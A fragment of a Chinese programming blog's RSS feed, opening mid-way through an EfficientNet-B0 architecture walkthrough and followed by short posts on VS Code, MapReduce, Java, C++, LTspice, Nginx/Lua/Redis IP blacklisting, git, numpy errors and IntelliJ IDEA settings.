Network，SENet）的注意力思想，SENet在提出时也在ImageNet数据集上达到了当时最高的准确率。&#xA;移动翻转瓶颈卷积也是通过神经网络架构搜索得到的，该模块结构与深度分离卷积（depthwise separable convolution）相似，该移动翻转瓶颈卷积首先对输入进行1x1的逐点卷积并根据扩展比例(expand ratio)改变输出通道维度（如扩展比例为3时，会将通道维度提升3倍。但如果扩展比例为1，则直接省略该1x1的逐点卷积和其之后批归一化和激活函数）。接着进行kxk的深度卷积（depthwise convolution）。如果要引入压缩与激发操作，该操作会在深度卷积后进行。再以1x1的逐点卷积结尾恢复原通道维度。最后进行连接失活（drop connect）和输入的跳越连接（skip connection），这一做法源于论文《Deep networks with stochastic depth》，它让模型具有了随机的深度，剪短了模型训练所需的时间，提升了模型性能（注意，在EfficientNets中，只有当相同的移动翻转瓶颈卷积重复出现时，才会进行连接失活和输入的跳越连接，且还会将其中的深度卷积步长变为1），连接失活是一种类似于随机失活（dropout）的操作，并且在模块的开始和结束加入了恒等跳越。注意该模块中的每一个卷积操作后都会进行批归一化，激活函数使用的是Swish激活函数。&#xA;移动翻转瓶颈卷积模块中的压缩与激发操作，以下简称SE模块，是一种基于注意力的特征图操作操作，SE模块首先对特征图进行压缩操作，在通道维度方向上进行全局平均池化操作（global average pooling），得到特征图通道维度方向的全局特征。然后对全局特征进行激发操作，使用激活比例（R，该比例为浮点数）乘全局特征维数（C）个1x1的卷积对其进行卷积（原方法使用全连接层），学习各个通道间的关系，再通过sigmoid激活函数得到不同通道的权重，最后乘以原来的特征图得到最终特征。本质上，SE模块是在通道维度上做（注意力）attention或者（门控制）gating操作，这种注意力机制让模型可以更加关注信息量最大的通道特征，而抑制那些不重要的通道特征。另外一点是SE模块是通用的，这意味着其可以嵌入到现有的其它网络架构中。其结构如图1所示，注意在移动翻转瓶颈卷积模块中，与激活比例相乘的是移动翻转瓶颈卷积模块的输入通道维度，而不是模块中深度卷积后的输出通道维度。&#xA;图1 压缩与激发模块结构示意图 你已经了解了EfficientNet的核心模块，接下来，我们将进一步了解EfficientNet-B0的结构，它由16个移动翻转瓶颈卷积模块，2个卷积层，1个全局平均池化层和1个分类层构成。其结构如图2所示，图中不同的颜色代表了不同的阶段。&#xA;图2 EfficientNet-B0结构图 第一阶段，对输入的224x224x3的图像按顺序进行以下操作得到第一阶段的结果：&#xA;卷积（卷积核为32核3×3×3，步长为2×2，填充为“same”即输出的宽和高缩小一半），该卷积运算的输出是一个维度为（112×112×32）的特征图。因该层不含偏置项，故该层需要训练学习的参数共计864（32x3x3x3）个。&#xA;批归一化层（Batch Normalization，BN），该层输入为（112×112×32）的特征图，故该层含参数总数为128个（32x4），其中需要训练学习的参数为64个。&#xA;Swish激活函数&#xA;第一阶段，总计参数128+864=992个，需要训练学习的参数928个。&#xA;第二阶段，对前一阶段输出的112x112x32的特征图进行移动翻转瓶颈卷积（扩张比例为1，深度卷积核大小为3x3，核步长为1x1，包含压缩与激发操作，无连接失活和连接跳越），并输出第二阶段的结果：&#xA;由于扩张比例为1，故跳过一开始的逐点卷积，直接进行深度卷积（卷积核为32核3×3×3，步长为1×1，填充为“same”即输出的宽和高不变）。深度卷积输出是一个维度为（112×112×32）的特征图。因该层不含偏置项，故该层需要训练学习的参数共计288（32x3x3x1）个。&#xA;批归一化层（Batch Normalization，BN），该层输入为（112×112×32）的特征图，故该层含参数总数为128个（32x4），其中需要训练学习的参数为64个。&#xA;Swish激活函数。&#xA;全局平均池化层（global average pooling），该层在通道维度方向上进行全局平均池化，输出为（1x1x32）的特征图。&#xA;卷积（压缩与激发模块中的第一个卷积，卷积核为8核1x1x32，步长为1×1，填充为“same”即输出的宽和高不变），该卷积运算的输出是一个维度为（1×1×8）的特征图。因该层包含偏置项，故该层需要训练学习的参数共计264（8x1x1x32+8）个。&#xA;Swish激活函数。&#xA;卷积（压缩与激发模块中的第二个卷积，卷积核为32核1x1x8，步长为1×1，填充为“same”即输出的宽和高不变），该卷积运算的的输出是一个维度为（1×1×32）的特征图。因该层包含偏置项，故该层需要训练学习的参数共计288（32x1x1x8+32）个。&#xA;Sigmoid激活函数&#xA;与步骤3）的结果相乘，得到112x112x32的特征图。&#xA;逐点卷积（卷积核为16核1×1×32，步长为1×1，填充为“same”即输出的宽和高不变）该卷积运算的输出是一个维度为（112×112×16）的特征图。因该层不含偏置项，故该层需要训练学习的参数共计512（16x1x1x32）个。&#xA;批归一化层（Batch Normalization，BN），该层输入为（112×112×16）的特征图，故该层含参数总数为64个（16x4），其中需要训练学习的参数为32个。&#xA;第二阶段，总计参数288+128+264+288+512+64=1544个，需要训练学习的参数1448个。&#xA;第三阶段，对前一阶段输出的112x112x16的特征图进行两次移动翻转瓶颈卷积，第一个（扩张比例为6，深度卷积核大小为3x3，核步长为2x2，包含压缩与激发操作，无连接失活核连接跳越），第二个（扩张比例为6，深度卷积核大小为3x3，核步长为1x1，包含压缩与激发操作，有连接失活和连接跳越），并输出第二阶段的结果：&#xA;扩张比例为6的逐点卷积（卷积核为96核1×1×16，步长为1×1，填充为“same”即输出的宽和高不变）该卷积运算的输出是一个维度为（112×112×96）的特征图。因该层不含偏置项，故该层需要训练学习的参数共计1536（96x1x1x16）个。&#xA;批归一化层（Batch Normalization，BN），该层输入为（112×112×96）的特征图，故该层含参数总数为384个（96x4），其中需要训练学习的参数为192个。</description>
    </item>
    <item>
      <title>vscode could not establish connection to linux The VS Code Server failed to start</title>
      <link>https://bchobby.github.io/posts/9eb315cc8886eb8d2f1051b2fe19aead/</link>
      <pubDate>Wed, 14 Oct 2020 16:47:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9eb315cc8886eb8d2f1051b2fe19aead/</guid>
      <description>The remote host may not meet VS Code Server&#39;s prerequisites for glibc and libstdc++&#xA;上面这个错误也是同样的解决办法，&#xA;用 vscode 远程实验室服务器好几天了，正正常常，&#xA;今天突发这个报错，连不上了&#xA;解决：&#xA;could not establish connection to &#34;&amp;lt;host name&amp;gt;&#34;. The VS Code Server failed to start. · Issue #2805 · microsoft/vscode-remote-release · GitHub&#xA;https://software.intel.com/content/www/us/en/develop/documentation/remote-vscode-development-on-linux/top.html&#xA;1. 打开VSCode，选择 View -&amp;gt; Command Palette.&#xA;2. 输入 remote，&#xA;3. 选择 Remote-SSH: Kill VS Code Server on Host...&#xA;然后重新连接就可以了，左下角显示绿色 SSH：Linux</description>
    </item>
    <item>
      <title>MapReduce经典案例实战</title>
      <link>https://bchobby.github.io/posts/feba611845b1bef5fe7489d6378e73f7/</link>
      <pubDate>Wed, 14 Oct 2020 14:28:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/feba611845b1bef5fe7489d6378e73f7/</guid>
      <description>MapReduce经典案例实战 实验实现过程 重要知识点：&#xA;MapReduce是一种分布式并行编程模型,是Hadoop核心子项目之一,如果已经安装了Hadoop，就不需要另外安装MapReduce。主要的理论知识点：&#xA;（1）倒排索引&#xA;倒排索引是文档检索系统中最常用的数据结构，被广泛应用于全文搜索引擎。倒排索引主要用来存储某个单词（或词组）在一组文档中的存储位置的映射，提供了可以根据内容来查找文档的方式，而不是根据文档来确定内容，因此称为倒排索引（Inverted Index）。带有倒排索引的文件我们称为倒排索引文件，简称倒排文件(Inverted File)。&#xA;（2）数据去重&#xA;数据去重主要是为了掌握利用并行化思想来对数据进行有意义的筛选，数据去重指去除重复数据的操作。在大数据开发中，统计大数据集上的多种数据指标，这些复杂的任务数据都会涉及数据去重。&#xA;（3）TopN排序&#xA;TopN分析法是指从研究对象中按照某一个指标进行倒序或正序排列，取其中所需的N个数据，并对这N个数据进行重点分析的方法。MapReduce的程序可以用Eclipse编译运行或使用命令行编译打包运行，本实验使用Eclipse编译运行MapReduce程序。 实验准备工作：&#xA;1、掌握Eclipse以及插件的安装与配置&#xA;2、熟悉在Eclipse中操作分布式系统HDFS 中的文件的方法&#xA;以上内容前面文章已做：&#xA;大数据实验环境准备与配置(1/4)&#xA;https://blog.csdn.net/weixin_43640161/article/details/108614907&#xA;大数据实验环境准备与配置(2/4)&#xA;https://blog.csdn.net/weixin_43640161/article/details/108619802&#xA;大数据实验环境准备与配置(3/4)&#xA;https://blog.csdn.net/weixin_43640161/article/details/108691921&#xA;大数据实验环境准备与配置(第四部分完结)&#xA;https://blog.csdn.net/weixin_43640161/article/details/108697510&#xA;Hadoop环境配置与测试&#xA;https://blog.csdn.net/weixin_43640161/article/details/108745864&#xA;分布式文件系统HDFS Shell命令和API编程&#xA;https://blog.csdn.net/weixin_43640161/article/details/108879567&#xA;MapReduce编程实践&#xA;https://blog.csdn.net/weixin_43640161/article/details/108947291&#xA;实验一：倒排索引案例实现–请根据理论课案例分析步骤实现具体的倒排索引 假设有file1.txt，file2.txt，file3.txt。它们的内容分别如下：&#xA;file1.txt文件内容：MapReduce is simple&#xA;file2.txt文件内容：MapReduce is powerful is simple&#xA;file3.txt文件内容：Hello MapReduce bye MapReduce&#xA;具体步骤如下：&#xA;一、在 Eclipse 中创建 MapReduce 项目&#xA;点击 File 菜单，选择 New -&amp;gt; Project…:选择 Map/Reduce Project，点击 Next。&#xA;填写 Project name 为MapReduceDemo即可，点击 Finish 就创建好了项目。&#xA;此时在左侧的 Project Explorer 就能看到刚才建立的项目了。接着右键点击刚创建的 MapReduce项目src，选择 New -&amp;gt; packet，在 Package 处填写 cn.</description>
    </item>
    <item>
      <title>Java标准输入Scanner中的hasNext如何终止（校招笔试踩坑）</title>
      <link>https://bchobby.github.io/posts/9216669edf87061d2c9f935735037197/</link>
      <pubDate>Tue, 13 Oct 2020 23:27:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9216669edf87061d2c9f935735037197/</guid>
      <description> 校招时由于有些公司的题的输入是一个数组，但是没有告知数组的长度，所以在使用hasNext时会形成死循环，退出死循环正常来讲只能在while中加入条件来判断，满足条件后break。有些公司直接没有终止符的提示，但是在做携程的笔试题时给了以“#”为终止符，但是笔试时还是没有弄明白如何处理。在用sc.next()判断是否等于“#”时，会将该输入用来作为判断使用，也就是把输入数据“吞了”，笔试后查了查资料，写了个demo测试了一下在这里做一个记录：&#xA;利用hasNext的重载方法：&#xA;public class StandardInput { public static void main(String[] args) { Scanner sc = new Scanner(System.in); List&amp;lt;Integer&amp;gt; list = new ArrayList&amp;lt;&amp;gt;(); while(!sc.hasNext(&#34;#&#34;)){ int a = sc.nextInt(); list.add(a); } System.out.println(list); } } 输出：&#xA;1 2 3 4 5 6 # [1, 2, 3, 4, 5, 6] </description>
    </item>
    <item>
      <title>Cholesky Matrix Decomposition矩阵分解算法解析</title>
      <link>https://bchobby.github.io/posts/698bfff4fa4a0cb56fc6d4e18e556036/</link>
      <pubDate>Tue, 13 Oct 2020 20:08:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/698bfff4fa4a0cb56fc6d4e18e556036/</guid>
      <description>线性代数中可以将一个正定矩阵分解为唯一的一个下三角矩阵及其共轭转置矩阵的乘积，Cholesky矩阵分解。计算效率将比LU分解提高两倍以上。&#xA;A = [L][L]T&#xA;计算公式如下：&#xA;// CPP program to decompose a matrix using // Cholesky Decomposition #include &amp;lt;bits/stdc++.h&amp;gt; using namespace std; const int MAX = 100; void Cholesky_Decomposition(int matrix[][MAX], int n) { int lower[n][n]; memset(lower, 0, sizeof(lower)); // Decomposing a matrix into Lower Triangular for (int i = 0; i &amp;lt; n; i++) { for (int j = 0; j &amp;lt;= i; j++) { int sum = 0; if (j == i) // summation for diagnols { for (int k = 0; k &amp;lt; j; k++) sum += pow(lower[j][k], 2); lower[j][j] = sqrt(matrix[j][j] - sum); } else { // Evaluating L(i, j) using L(j, j) for (int k = 0; k &amp;lt; j; k++) sum += (lower[i][k] * lower[j][k]); lower[i][j] = (matrix[i][j] - sum) / lower[j][j]; } } } // Displaying Lower Triangular and its Transpose cout &amp;lt;&amp;lt; setw(6) &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>一维数组转换二维数组的方法</title>
      <link>https://bchobby.github.io/posts/93cacb85e3347e62d453a18253c17771/</link>
      <pubDate>Tue, 13 Oct 2020 16:12:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93cacb85e3347e62d453a18253c17771/</guid>
      <description>一维数组转换二维数组的方法 第一种方法 直接应用数组的截取生成新的数组&#xA;function arrTrans(num, arr) { const newArr = []; while(arr.length &amp;gt; 0) { newArr.push(arr.splice(0, num)); } return newArr; }``` 第二种方法 主要利用 Math.floor(index / num)计算该元素为第几个素组内这个主要方法 function arrTrans(num, arr) {&#xA;const iconsArr = [];&#xA;arr.forEach((item, index) =&amp;gt; {&#xA;const page = Math.floor(index / num);&#xA;if (!iconsArr[page]) {&#xA;iconsArr[page] = [];&#xA;}&#xA;iconsArr[page].push(item);&#xA;});&#xA;return iconsArr;&#xA;}</description>
    </item>
    <item>
      <title>1034 有理数四则运算 (20分)</title>
      <link>https://bchobby.github.io/posts/67f898baebbbc4e41bb57dd1eb9b86d0/</link>
      <pubDate>Tue, 13 Oct 2020 15:24:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67f898baebbbc4e41bb57dd1eb9b86d0/</guid>
      <description>1034 有理数四则运算 (20分) 题目描述 ： --------------------------------------------------------------------------------------------------------------------------------------&#xA;本题要求编写程序，计算 2 个有理数的和、差、积、商。&#xA;输入格式 ： --------------------------------------------------------------------------------------------------------------------------------------&#xA;输入在一行中按照 a1/b1 a2/b2 的格式给出两个分数形式的有理数，其中分子和分母全是整型范围内的整数，负号只可能出现在分子前，分母不为 0。&#xA;输出格式 ： --------------------------------------------------------------------------------------------------------------------------------------&#xA;分别在 4 行中按照 有理数1 运算符 有理数2 = 结果 的格式顺序输出 2 个有理数的和、差、积、商。注意输出的每个有理数必须是该有理数的最简形式 k a/b，其中 k 是整数部分，a/b 是最简分数部分；若为负数，则须加括号；若除法分母为 0，则输出 Inf。题目保证正确的输出中没有超过整型范围的整数。&#xA;输入样例 1 ： ------------------------------------------------------------------------------------------------------------------------------------&#xA;2/3 -4/2&#xA;输出样例 1 ： ------------------------------------------------------------------------------------------------------------------------------------&#xA;2/3 + (-2) = (-1 1/3)&#xA;2/3 - (-2) = 2 2/3&#xA;2/3 * (-2) = (-1 1/3)&#xA;2/3 / (-2) = (-1/3)</description>
    </item>
    <item>
      <title>LTspice基本使用(以NMOS的I-V特性为例)</title>
      <link>https://bchobby.github.io/posts/bc86a8fe916528d0b7dcbb40e1e4bc60/</link>
      <pubDate>Tue, 13 Oct 2020 14:26:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc86a8fe916528d0b7dcbb40e1e4bc60/</guid>
      <description>LTspice基本使用 什么是spice？LTspice优势仿真流程实例：NMOS的I-V特性设计电路原理图配置仿真参数run 仿真成功 什么是spice？ 电路系统的设计人员有时需要对系统中的部分电路作电压与电流关系的详细分析，此时需要做晶体管级仿真（电路级），这种仿真算法中所使用的电路模型都是最基本的元件和单管。仿真时按时间关系对每一个节点的I/V关系进行计算。这种仿真方法在所有仿真手段中是最精确的，但也是最耗费时间的。&#xA;SPICE（Simulation program with integrated circuit emphasis）是电路级模拟程序，被分析的电路中的元件可包括电阻、电容、电感、互感、独立电压源、独立电流源、各种线性受控源、传输线以及有源半导体器件。SPICE内建半导体器件模型，用户只需选定模型级别并给出合适的参数。&#xA;各软件厂家提供了Vspice、Hspice、Pspice等不同版本spice软件，其仿真核心大同小异，都是采用了由美国加州Berkeley大学开发的spice模拟算法。&#xA;LTspice优势 免费，免费，免费（功能对于学生党足够了！）以下为官网列举的优势 稳定的spice仿真，可以使用无限的电路节点、原理图编辑器（图形化编辑）、波形查看器、元件库开关模式电源的快速仿真，稳定的状态检测、电路瞬态分析、逐步仿真高级的分析和仿真 仿真流程 设计电路原理图配置仿真参数选择测试点，查看仿真曲线 实例：NMOS的I-V特性 设计电路原理图 1 创建新的原理图(New Schematic)&#xA;2. 菜单栏和工具栏的英文相信大家都非常之懂，可以添加如你所见的电路元件或者执行操作。点击工具栏中类似两脚插座的按钮(component)可添加比较复杂的电路元件&#xA;3. 这里添加一个NMOS4，点击OK即可添加到版图中，左键可连续添加元件，右键取消。&#xA;4. 根据自己设计的电路图添加元件，最后点击类似于笔（Wire）的按钮进行布线。鼠标在相应元件附近，点击右键即可修改元件参数&#xA;例如，修改电源电压，如上图。&#xA;插入几个细节，**大手(Move)与小手(Drag)**都是能拖动元件，但使用大手元件独立于导线，小手元件紧连着导线；撤回修改不是我们Windows的CTRL+Z，而是F9；删除是剪刀工具。 大手（Move）&#xA;小手（Drag）&#xA;配置仿真参数 多种仿真配置可以满足各种各样的需求。&#xA;点击simulate，选择Edit Simulation Cmd，进入仿真参数配置&#xA;2. 有transient瞬态仿真、AC交流电分析、DC sweep直流扫描分析等，为了实现不同栅极电压 I D S I_{DS} IDS​与 V D S {V_DS} VD​S的特性在同时展示，选择 DC sweep，具体设置参数，英文名就是相应解释，具体参数如下，配置了两个电压源。&#xA;PS：仿真参数配置完成后，会出现“.dc V2 0 5 0.1 V1 1 2.5 0.5”的代码，这是对你配置的一个描述，可以放置在你版图中的任何一个角落。 run 仿真成功 点击跑步的小人即可运行仿真&#xA;初始没有波形图，你需要将鼠标移动到需要测量的节点处，鼠标为黑色的笔测量电压，红色笔测量电压，温度计测量功率，如下图：&#xA;2. 还有很多可以设置调节的选择，比如背景，量度等等。还有很多操作，比如选中波形图中的trace 名称向上拖即可删除等等。</description>
    </item>
    <item>
      <title>jmeter源码地址</title>
      <link>https://bchobby.github.io/posts/39564104505645df3a621c0b26a45ee2/</link>
      <pubDate>Tue, 13 Oct 2020 11:20:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39564104505645df3a621c0b26a45ee2/</guid>
      <description>https://jmeter.apache.org/api/overview-summary.html</description>
    </item>
    <item>
      <title>【mxnet转onnx报错】Unrecognized attribute: spatial for operator BatchNormalization</title>
      <link>https://bchobby.github.io/posts/06baa756074ab55fedd39da0fe74a0c4/</link>
      <pubDate>Tue, 13 Oct 2020 11:19:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06baa756074ab55fedd39da0fe74a0c4/</guid>
      <description>问题描述 mxnet版本：1.7.0 (latest)&#xA;onnx版本：1.7.0 (latest)&#xA;按照Exporting to ONNX format教程中的方法导出mxnet模型，报错情况如下：&#xA;&amp;gt;&amp;gt;&amp;gt; python mx2onnx.py INFO:root:Converting json and weight file to sym and params [10:45:36] src/nnvm/legacy_json_util.cc:209: Loading symbol saved by previous version v1.2.0. Attempting to upgrade... [10:45:36] src/nnvm/legacy_json_util.cc:217: Symbol successfully upgraded! Traceback (most recent call last): File &#34;mx2onnx.py&#34;, line 19, in &amp;lt;module&amp;gt; converted_model_path = onnx_mxnet.export_model(sym, params, [input_shape], np.float32, onnx_file) File &#34;/opt/ptt_pkgs/anaconda3/envs/mxnet/lib/python3.7/site-packages/mxnet/contrib/onnx/mx2onnx/export_model.py&#34;, line 79, in export_model verbose=verbose) File &#34;/opt/ptt_pkgs/anaconda3/envs/mxnet/lib/python3.7/site-packages/mxnet/contrib/onnx/mx2onnx/export_onnx.py&#34;, line 308, in create_onnx_graph_proto checker.</description>
    </item>
    <item>
      <title>C语言编译找不到lua.h  --luaLoad.c:2:17: fatal error: lua.h: 没有那个文件或目录</title>
      <link>https://bchobby.github.io/posts/d9c1031a7b21f092b7ce8108b2eddf5b/</link>
      <pubDate>Tue, 13 Oct 2020 11:05:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9c1031a7b21f092b7ce8108b2eddf5b/</guid>
      <description>我在编辑C语言时 代码如下:&#xA;#include &amp;lt;lua.h&amp;gt; #include &amp;lt;lauxlib.h&amp;gt; #include &amp;lt;lualib.h&amp;gt; 然后编译成so文件,出现如下错误:&#xA;其实就是找不到lua库:&#xA;解决办法:&#xA;下载lua-5.1.5.tar.gz (下载链接2 lua5.1) (下载地址3 lua5.2)解压文件进入解压文件执行 make linux执行 sudo make install 然后在编译 成功解决</description>
    </item>
    <item>
      <title>Nginx结合Lua——Nginx通过Lua&#43;Redis实现自动封禁访问频率高的IP</title>
      <link>https://bchobby.github.io/posts/328adb55b4495dc1cdef068096703a44/</link>
      <pubDate>Mon, 12 Oct 2020 13:31:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/328adb55b4495dc1cdef068096703a44/</guid>
      <description>文章目录 实验背景实验一、安装使用 OpenResty二、安装Redis三、在Nginx中使用Lua脚本访问Redis四、Nginx+Lua+Redis 实验背景 为了防止某恶意用户多次对服务器端口进行攻击，我们需要建立一个动态的 IP 黑名单。对于黑名单之内的 IP ，拒绝提供服务。&#xA;实现 IP 黑名单的功能有很多途径：&#xA;在操作系统层面，配置 iptables，拒绝指定 IP 的网络请求；在 Web Server 层面，通过 Nginx 自身的 deny 选项 或者 lua 插件 配置 IP 黑名单；在应用层面，在请求服务之前检查一遍客户端 IP 是否在黑名单。 为了方便管理和共享，我们通过 Nginx+Lua+Redis 的架构实现 IP 黑名单的功能，架构图如下：&#xA;实验 一、安装使用 OpenResty OpenResty是一个集成了各种 Lua 模块的 Nginx 服务器，是一个以Nginx为核心同时包含很多第三方模块的Web应用服务器，使用Nginx的同时又能使用lua等模块实现复杂的控制&#xA;1、安装OpenResty&#xA;[root@server1 local]# yum -y install readline-devel pcre-devel openssl-devel gcc 2、下载openresty-1.13.6.1.tar.gz 源码包，并解压；下载ngx_cache_purge模块，该模块用于清理nginx缓存；下载nginx_upstream_check_module模块，该模块用于ustream健康检查&#xA;[root@server1 ~]# cd /usr/local [root@server1 local]# wget https://openresty.org/download/openresty-1.13.6.1.tar.gz [root@server1 local]# tar -zxvf openresty-1.13.6.1.tar.gz [root@server1 local]# cd openresty-1.</description>
    </item>
    <item>
      <title>TeamViewer可免费用于个人用途，但所使用的设备数量受限。您已达到设备数量上限</title>
      <link>https://bchobby.github.io/posts/4fe6a88c1f93216cfd5e1a70f90118c7/</link>
      <pubDate>Mon, 12 Oct 2020 11:05:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fe6a88c1f93216cfd5e1a70f90118c7/</guid>
      <description>登陆teamviewer网站，登陆账号后点击右上角的头像--&amp;gt;编辑配置文件 进入可信设备界面，删除多余的可信设备 进入免费设备界面，解绑多余的设备即可 若免费设备无法更换（已达到更换次数），可以删除账号，重新注册。</description>
    </item>
    <item>
      <title>git查看某个文件的修改历史</title>
      <link>https://bchobby.github.io/posts/8075ab16cd3f556bb232968467441036/</link>
      <pubDate>Mon, 12 Oct 2020 09:25:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8075ab16cd3f556bb232968467441036/</guid>
      <description>有时候在比对代码时，看到某些改动，但不清楚这个改动的作者和原因，也不知道对应的BUG号，也就是说无从查到这些改动的具体原因了～&#xA;【注】：某个文件的改动是有限次的，而且每次代码修改的提交都会有commit描述，我们可以从这里进行入手；&#xA;一、切换到目录&#xA;首先切换到要查看的文件所在的目录：&#xA;cd packages/apps/Mms/src/com/android/mms/ui/ 二、git log --pretty&#xA;然后使用下面的命令可列出文件的所有改动历史，注意，这里着眼于具体的一个文件，而不是git库，如果是库，那改动可多了去了～&#xA;git log --pretty=oneline 文件名 如：&#xA;root@ubuntu:android_src/packages/apps/Mms/src/com/android/mms/ui# git log --pretty=oneline MessageItem.java 27209385caf678abe878375a470f4edd67a2d806 fix to process force close when empty address contained in card 0e04b16f1dad7dc0a36e2235f7337bc656c365c7 display for 1970-1-1 e4abf3a213197491e0855e101117b59b5dc0160d HREF#13954 receive, store, and display wap push 356f6def9d3fb7f3b9032ff5aa4b9110d4cca87e HREF#16265_uim_show_time_error 350f9d34c35ab50bdb4b2d43fb3ff9780e6c73fa fix xxxx 715e32f97bd9d8ce4b5ba650b97ba4b137150456 Fix ANR from calling Contact.get() fd8357ff5febab0141e1beb8dd3b26f70416b108 Fix missing From field d130e2e6dc448fd80ecb70f0d31e3affb9888b9a fix bug 2112925: don&#39;t display zip file garbage content in MMS.</description>
    </item>
    <item>
      <title>求完数及其因子</title>
      <link>https://bchobby.github.io/posts/69c9b6ef39b78e8c0e37319d6a6bf34c/</link>
      <pubDate>Sat, 10 Oct 2020 22:12:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69c9b6ef39b78e8c0e37319d6a6bf34c/</guid>
      <description> 在这里插入代码片 #include&amp;lt;stdio.h&amp;gt; int main() { double i,x;//&#x9;i是10000以内某个数 ，x用来求因子 int a,b;//&#x9;b是因子，a是因子相加 for(i=2;i&amp;lt;=1000;i++)&#x9;{ for(x=1,a=0;x&amp;lt;=i;x++) { if(int(i/x)==i/x&amp;amp;&amp;amp;i/x!=i)&#x9;// 判断i/x是不是整数 { b=i/x;&#x9;// 若i/x=b是个整数，则b就是i的其中一个因子 a+=b;&#x9;}&#x9;} if(a==i)&#x9;//判断是不是完数 { printf(&#34;%.0lf its factors are &#34;,i);&#x9;for(x=1,a=0;x&amp;lt;=i;x++) { if(int(i/x)==i/x&amp;amp;&amp;amp;i/x!=i) { b=i/x; printf(&#34;%d,&#34;,b); }&#x9;} printf(&#34;\n&#34;); } } } </description>
    </item>
    <item>
      <title>python利用嵌套循环打印九九乘法表</title>
      <link>https://bchobby.github.io/posts/67e1da7f422c02f8c9a00e2dea69470b/</link>
      <pubDate>Sat, 10 Oct 2020 20:01:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67e1da7f422c02f8c9a00e2dea69470b/</guid>
      <description>python利用嵌套循环使用for-for打印九九乘法表（下三角、上三角，九宫格） 1.end=&#34; &#34;：末尾不换行，加空格（python中print默认是打印 一行）&#xA;2.\t:横向制表符&#xA;下三角 for i in range(10):&#xA;for j in range(i+1):&#xA;print(&#34;%d*%d=%d\t&#34; % (i,j,i*j),end=&#34;&#34;)&#xA;print()&#xA;效果图如下：&#xA;上三角 for i in range(1,10):&#xA;for k in range(1,i):&#xA;print(end=&#34; “)&#xA;for j in range(i,10):&#xA;print(”%d*%d=%2d&#34; % (i,j,i*j),end=&#34; “)&#xA;print(”&#34;)&#xA;效果图如下：&#xA;九宫格列表 for i in range(1,10):&#xA;for j in range(1,10):&#xA;print(&#34;%d*%d=%d\t&#34; % (i,j,i*j),end=&#34; “)&#xA;print(”&#34;)&#xA;效果图如下:</description>
    </item>
    <item>
      <title>Python numpy Import Error Something is wrong with the numpy installation. an older</title>
      <link>https://bchobby.github.io/posts/d4ed3412067aea6c77ed9039d6a158a9/</link>
      <pubDate>Sat, 10 Oct 2020 16:40:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4ed3412067aea6c77ed9039d6a158a9/</guid>
      <description>错误信息描述 症状一&#xA;ImportError: Something is wrong with the numpy installation.&#xA;ImportError: Something is wrong with the numpy installation. While importing we detected an older version of numpy in [&#39;D:\\Anaconda3\\envs\\tensorflow\\lib\\site-packages\\numpy&#39;]. One method of fixing this is to repeatedly uninstall numpy until none is found, then reinstall this version. 出现这个报错说明在你安装新的软件，或者更新numpy或者干什么的时候，旧的numpy没有卸载掉，两版numpy导致出现冲突。&#xA;症状二&#xA;一般这种情况下还会伴随有另一个报错：&#xA;UserWarning: loaded more than 1 DLL from .libs 进到信息中指定的.libs文件夹中会发现，确实是多了一个DLL文件，注意，这两个文件有一个你有权限删除，但是另一个你不能删除，因为python正在占用。 报错信息more 在前两个症状下进行下一步检测。&#xA;如果在未采取措施时，您卸载python再重新安装，在python的语句中import numpy。您会看到这样的信息：（不想看的主儿往后翻，朕有翻译的）&#xA;症状三&#xA;&amp;gt;&amp;gt;&amp;gt; import numpy Traceback (most recent call last): File &#34;</description>
    </item>
    <item>
      <title>IDEA失去焦点，取消自动编译【已解决】</title>
      <link>https://bchobby.github.io/posts/8f5d1b644a172dcc822182c81cb48317/</link>
      <pubDate>Fri, 09 Oct 2020 20:46:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f5d1b644a172dcc822182c81cb48317/</guid>
      <description>IDEA失去焦点，取消自动编译（已解决） 项目用热部署的方式部署，然后以Debug方式启动（方便我们在项目执行的过程中调试代码）。具体的热部署方式，网上有很多教程，请自行百度。 但是当我们以Debug方式启动项目以后，我们在编写Java代码的时候，一旦失去焦点项目就会报错，从编译的角度来说这是一个便捷的功能，毕竟能及时发现我们项目的错误，但是从用户的体验角度来说，我个人觉得没有那么友好。所以我建议我们取消这个功能&#xA;网上很多热部署的教程都是让我们把这两个选项都设置为Update classes and resources，却没有告诉我们这两个是什么东西，修改的关键也就是在这里。&#xA;On Update action：当代码发生改变时，IDEA执行什么操作&#xA;Update resource：如果有更新，且更新资源为（xx.jsp，xx.xml，不包括Java文件），就会立即生效&#xA;Update classes and resources：如果有更新，且更新资源为（资源文件或Java文件），就会立即生效。在正常运行模式下，修改Java文件也不会立即生效；但是在Debug模式下，就会立即生效。这两种模式下，修改resource资源文件都是可以立即生效的。&#xA;Redploy：重新部署项目，把原来的war包（我们的项目是以war包的形式放在Tomcat服务器上的）重新部署&#xA;Restart：重新启动服务器（时间最久，不建议使用）&#xA;On Frame deactivation：当失去焦点（不停留在IDEA里面），IDEA执行什么操作&#xA;Do nothing：不做任何事情（推荐使用）&#xA;Update resource：如果有更新，且更新资源为（xx.jsp，xx.xml，不包括Java文件），就会立即生效&#xA;Update classes and resource：如果有更新，且更新资源为（资源文件或Java文件），就会立即生效。在正常运行模式下，修改Java文件也不会立即生效；但是在Debug模式下，就会立即生效。这两种模式下，修改resource资源文件都是可以立即生效的。&#xA;所以我们只需要把On Frame deactivation，修改为Do nothing即可&#xA;设置为Do 